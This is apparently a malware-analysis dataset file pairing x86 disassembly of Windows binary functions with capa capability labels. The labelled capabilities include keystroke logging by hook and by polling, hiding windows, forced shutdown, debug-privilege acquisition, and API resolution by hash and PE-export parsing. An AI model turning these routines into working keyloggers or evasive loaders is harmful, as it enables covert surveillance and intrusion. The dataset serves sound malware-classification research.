joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4fe043
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [0x7ad195], eax
mov dword [ebp - 4], esp
push 0
call dword [0x7ad385]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4fe078
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 8]
push 0x4fe2a2
push 0xd
call dword [sym.imp.user32.dll_SetWindowsHookExA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4fe0ac
push 6
call fcn.005fffca
add esp, 4
jmp 0x4fe0b1
mov esp, ebp
pop ebp
ret 4

Function at 0x4ff4b4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
cmp dword [ebp + 0xc], 0
jne 0x4ff4d5
mov dword [ebp + 0xc], 0xbb8
push 0
mov ebx, 0x308
call sub.kernel32.dll_GetTickCount
add esp, 4
mov dword [ebp - 4], eax
push reloc.wsock32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4ff4ff
mov eax, 0x760402
push eax
push 1
mov ebx, 0x24c
call fcn.006017f0
add esp, 0x10
test eax, eax
je 0x4ff5c7
push 0x80000301
push 0
push 0
push reloc.wsock32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4ff53b
mov eax, 0x760402
push eax
push 2
mov ebx, 0x260
call fcn.006078e0
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4ff563
mov eax, 0x760402
push eax
push 1
mov ebx, 0x244
call fcn.00606750
add esp, 0x10
push 0
mov ebx, 0x308
call sub.kernel32.dll_GetTickCount
add esp, 4
mov dword [ebp - 0x10], eax
fild dword [ebp - 0x10]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fild dword [ebp - 4]
fstp qword [ebp - 0x18]
fsub qword [ebp - 0x18]
fstp qword [ebp - 0x20]
fild dword [ebp + 0xc]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x20]
fsub qword [ebp - 0x28]
fcomp qword [0x7604ee]
fnstsw ax
test ah, 1
jne 0x4ff5c2
jmp 0x4ff5c7
jmp 0x4ff4ea
mov esp, ebp
pop ebp
ret 0xc
Function at 0x504175
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x100
push 1
mov ebx, 0x184
call fcn.00601800
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x5041ba
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0xff
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x5041e5
push 6
call fcn.005fffca
add esp, 4
push 0x760400
push dword [ebp - 4]
mov ecx, 2
call fcn.004c5686
add esp, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x504205
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x504216
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret

Function at 0x5071a0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
mov eax, 0
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0
push 1
push 0x13
call dword [0x7ad2ed]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x5071e3
push 6
call fcn.005fffca
add esp, 4
cmp dword [ebp + 8], 1
jne 0x50721b
mov dword [ebp - 4], esp
push 0
push 0xc
call dword [sym.imp.user32.dll_ExitWindowsEx]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x507216
push 6
call fcn.005fffca
add esp, 4
jmp 0x507244
mov dword [ebp - 4], esp
push 0
push 9
call dword [sym.imp.user32.dll_ExitWindowsEx]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x507244
push 6
call fcn.005fffca
add esp, 4
mov esp, ebp
pop ebp
ret 4
Function at 0x50ffe8
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
push 4
push 0
push 4
push 0
push 0xffffffff
call dword [0x7ad3ad]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x51003c
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
push 0
push 0
push 0
push 6
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_MapViewOfFile]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x510075
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 4
push dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.kernel32.dll_RtlMoveMemory]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x5100a3
push 6
call fcn.005fffca
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x5100ab
mov esp, ebp
pop ebp
ret 8

Function at 0x5100fc
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 8], 0
jne 0x510145
cmp dword [0x7ad1e1], 0
jne 0x510140
mov dword [ebp - 4], esp
call dword [sym.imp.user32.dll_GetForegroundWindow]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x51013b
push 6
call fcn.005fffca
add esp, 4
mov dword [0x7ad1e1], eax
jmp 0x51014d
mov eax, dword [ebp + 8]
mov dword [0x7ad1e1], eax
mov dword [ebp - 4], esp
push dword [0x7ad1e1]
call dword [sym.imp.user32.dll_IsWindowVisible]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x510172
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x5101b8
mov dword [ebp - 4], esp
push 9
push dword [0x7ad1e1]
call dword [sym.imp.user32.dll_ShowWindow]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x5101a9
push 6
call fcn.005fffca
add esp, 4
mov eax, 1
jmp 0x5101ec
mov dword [ebp - 4], esp
push 0
push dword [0x7ad1e1]
call dword [sym.imp.user32.dll_ShowWindow]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x5101e2
push 6
call fcn.005fffca
add esp, 4
mov eax, 0
jmp 0x5101ec
mov esp, ebp
pop ebp
ret 8

Function at 0x513545
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
jmp 0x51354d
sub esp, 0x28
push ecx
mov ecx, dword [ebp + 8]
cmp ecx, 0
jle 0x513592
mov eax, dword [ecx]
mov dword [ebp - 8], eax
cmp word [ebp - 8], 0x5a4d
jne 0x513592
lea eax, [ecx + 0x3c]
mov eax, dword [eax]
add ecx, eax
mov eax, dword [ecx]
cmp eax, 0x4550
jne 0x513592
lea eax, [ecx + 0x16]
mov eax, dword [eax]
cwde
and eax, 0x2000
test eax, eax
je 0x513592
lea eax, [ecx + 0x28]
mov eax, dword [eax]
add eax, dword [ebp + 8]
jmp 0x513596
xor eax, eax
jmp 0x5135c1
nop
push 0
push 0
push 0
call eax
call fcn.005135c6
push 0x700ed6df
push eax
push 0
call fcn.00513619
push 0
push 0x8000
push 0
push dword [ebp + 8]
push 0xffffffffffffffff
call eax
pop ecx
leave
ret 4
Function at 0x5135c6
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x5135f4
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x5135eb
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x5135e3
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x513615
mov esp, ebp
pop ebp
ret

Function at 0x513619
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x513685
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x5136b2
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x5136a1
xor ecx, eax
xor edx, ebx
dec edi
jne 0x513692
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x5136d8
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x513679
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x513704
mov esp, ebp
pop ebp
ret 0xc
Function at 0x5143a8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
call dword [sym.imp.user32.dll_GetWindowTextLengthA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x5143e1
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x760425]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.004c58cd
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.00601800
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x514434
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.user32.dll_GetWindowTextA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x514460
push 6
call fcn.005fffca
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x51447c
push eax
mov ebx, eax
call fcn.004c561b
inc eax
push eax
call fcn.005fffc4
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x514481
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x514492
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x514bad
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
cmp dword [ebp + 0x18], 0
jne 0x514c29
mov dword [ebp - 8], esp
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x514bff
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push dword [ebp - 0xc]
call dword [sym.imp.kernel32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x514c24
push 6
call fcn.005fffca
add esp, 4
jmp 0x514c66
mov dword [ebp - 8], esp
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x514c61
push 6
call fcn.005fffca
add esp, 4
mov ebx, dword [ebp + 0x14]
mov dword [ebx], eax
mov eax, dword [ebp - 4]
jmp 0x514c6e
mov esp, ebp
pop ebp
ret 0x14
Function at 0x515036
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x14
call fcn.005fffc4
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 5
rep stosd dword es:[edi], eax
add ebx, 0xc
push ebx
push 0x108
call fcn.005fffc4
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x7638ff
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
add ebx, 4
push ebx
push 0x58
call fcn.005fffc4
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x77f569
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x14
rep stosd dword es:[edi], eax
mov dword [ebp - 8], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 4]
push eax
push 0x15c
call fcn.005fffc4
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.shell32.dll_SHGetFileInfoA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x515144
push 6
call fcn.005fffca
add esp, 4
push eax
mov ebx, dword [ebp - 0xc]
push ebx
mov edi, dword [ebp - 0x10]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.006010d0
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x515199
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x515197
imul eax, dword [edi]
jmp 0x51518c
mov ecx, eax
cmp ecx, 0x100
jle 0x5151a6
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.006010d0
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x5151e4
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x5151e2
imul eax, dword [edi]
jmp 0x5151d7
mov ecx, eax
cmp ecx, 0x50
jle 0x5151ee
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.005fffbe
add esp, 4
pop eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
jmp 0x515213
push eax
mov ebx, dword [ebp - 4]
push ebx
add ebx, 0xc
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.005fffbe
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.005fffbe
add esp, 4
pop ebx
call fcn.005fffbe
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x518bb5
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
mov eax, 0
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0
push 1
push 0x13
call dword [0x7ad2ed]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x518bf8
push 6
call fcn.005fffca
add esp, 4
cmp dword [ebp + 8], 1
jne 0x518c30
mov dword [ebp - 4], esp
push 0
push 6
call dword [sym.imp.user32.dll_ExitWindowsEx]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x518c2b
push 6
call fcn.005fffca
add esp, 4
jmp 0x518c59
mov dword [ebp - 4], esp
push 0
push 3
call dword [sym.imp.user32.dll_ExitWindowsEx]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x518c59
push 6
call fcn.005fffca
add esp, 4
mov esp, ebp
pop ebp
ret 4
Function at 0x51a646
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [ebp + 0xc], 0
je 0x51a712
push 0x80000301
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9d4
call fcn.00603b40
add esp, 0x10
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
mov eax, dword [ebp - 4]
and eax, 0xff
push eax
call dword [sym.imp.user32.dll_GetKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x51a6a0
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000601
push 0x40000000
push 0
mov eax, dword [ebp - 0xc]
and eax, 0xff
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fstp qword [ebp - 0x14]
push 0x80000601
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push 2
mov ebx, 0x48
call fcn.006034f0
add esp, 0x1c
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
fld qword [ebp - 0x24]
fsub qword [0x760425]
ftst
fnstsw ax
test ah, 1
je 0x51a6fa
fchs
fcomp qword [0x7638dd]
fnstsw ax
test ah, 0x41
mov eax, 0
setne al
jmp 0x51a76d
push 0x80000301
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9d4
call fcn.00603b40
add esp, 0x10
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
mov eax, dword [ebp - 4]
and eax, 0xff
push eax
call dword [sym.imp.user32.dll_GetKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x51a759
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x10], eax
cmp byte [ebp - 0x10], 0x80
mov eax, 0
setae al
jmp 0x51a76d
mov esp, ebp
pop ebp
ret 0xc

Function at 0x51b508
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov dword [ebp - 4], esp
push 0x11
call dword [sym.imp.user32.dll_GetKeyState]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x51b535
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 0xc], 0x80
mov eax, 0
setae al
test eax, eax
je 0x51b556
mov eax, 1
jmp 0x51b55b
mov eax, 0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push 0x10
call dword [sym.imp.user32.dll_GetKeyState]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x51b582
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x20], eax
cmp byte [ebp - 0x20], 0x80
mov eax, 0
setae al
test eax, eax
je 0x51b5a3
mov eax, 2
jmp 0x51b5a8
mov eax, 0
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], esp
push 0x12
call dword [sym.imp.user32.dll_GetKeyState]
nop
nop
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x51b5cf
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x34], eax
cmp byte [ebp - 0x34], 0x80
mov eax, 0
setae al
test eax, eax
je 0x51b5f0
mov eax, 4
jmp 0x51b5f5
mov eax, 0
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x14]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fild dword [ebp - 0x28]
fstp qword [ebp - 0x4c]
fadd qword [ebp - 0x4c]
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x54]
fadd qword [ebp - 0x54]
fstp qword [ebp - 0x5c]
fld qword [ebp - 0x5c]
call fcn.004c58cd
jmp 0x51b735
mov esp, ebp
pop ebp
ret
Function at 0x51c206
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
push dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.kernel32.dll_CopyFileA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x51c23b
push 6
call fcn.005fffca
add esp, 4
jmp 0x51c240
mov esp, ebp
pop ebp
ret 0x10

Function at 0x51d26b
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.005fffc4
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.005fffc4
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 0xc], 0
jne 0x51d301
mov dword [ebp - 0x18], esp
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x51d2fe
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp + 8], eax
mov dword [ebp - 0x18], esp
push dword [ebp + 8]
push 0
push 0x1f0fff
call dword [sym.imp.kernel32.dll_OpenProcess]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x51d32d
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], esp
lea eax, [ebp - 8]
push eax
push 0xf01ff
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_OpenProcessToken]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x51d35b
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x18], esp
push dword [ebp - 0xc]
push str.SeDebugPrivilege
push 0
call dword [sym.imp.advapi32.dll_LookupPrivilegeValueA]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x51d387
push 6
call fcn.005fffca
add esp, 4
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov dword [ebp - 0x18], esp
push 0
push 0
push 0
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
call dword [sym.imp.advapi32.dll_AdjustTokenPrivileges]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x51d416
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x51d43b
push 6
call fcn.005fffca
add esp, 4
mov eax, dword [ebp - 0x14]
jmp 0x51d443
push eax
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.005fffbe
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x51eed9
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x51ef49
cmp ebx, 0x20
je 0x51ef49
cmp ebx, 0xffffffe0
je 0x51ef49
jne 0x51ef52
add eax, 1
cmp esi, eax
je 0x51ef5f
jne 0x51ef2e
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x51ef63
jne 0x51ef2a
pop edx
mov eax, dword [edx + 0x18]
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
cmp ebx, 0
je 0x51efa8
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x51efae
add eax, 4
pop esi
dec esi
push esi
jne 0x51ef90
xor eax, eax
mov dword [ebp - 8], eax
nop
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
mov dword [ebp - 8], eax
sub esp, 8
push esi
mov esi, dword [ebp + 0x10]
mov esi, dword [esi]
mov esi, dword [esi + 4]
lea ecx, [esi - 1]
test ecx, ecx
jl 0x51efef
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
lea eax, [eax + ecx*4 + 8]
inc ecx
push dword [eax]
sub eax, 4
dec ecx
jne 0x51efe7
call dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x51f005
lea eax, [esi*4]
add esp, eax
mov eax, dword [ebp - 0xc]
jmp 0x51f00d
mov esp, ebp
pop ebp
ret 0x18
Function at 0x5230bd
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
call 0x5230c6
pop eax
mov esi, dword fs:[0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
push esi
mov ebx, dword [esi + 8]
cmp eax, ebx
jb 0x5230e9
mov ecx, dword [esi + 0x10]
add ecx, ebx
cmp eax, ecx
ja 0x5230e9
mov eax, ebx
jmp 0x5230fe
mov esi, dword [esi]
mov ebx, dword [esi]
cmp ebx, dword [esp]
jne 0x5230d5
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
pop esi
pop esi
leave
ret

Function at 0x5272fb
Capabilities:
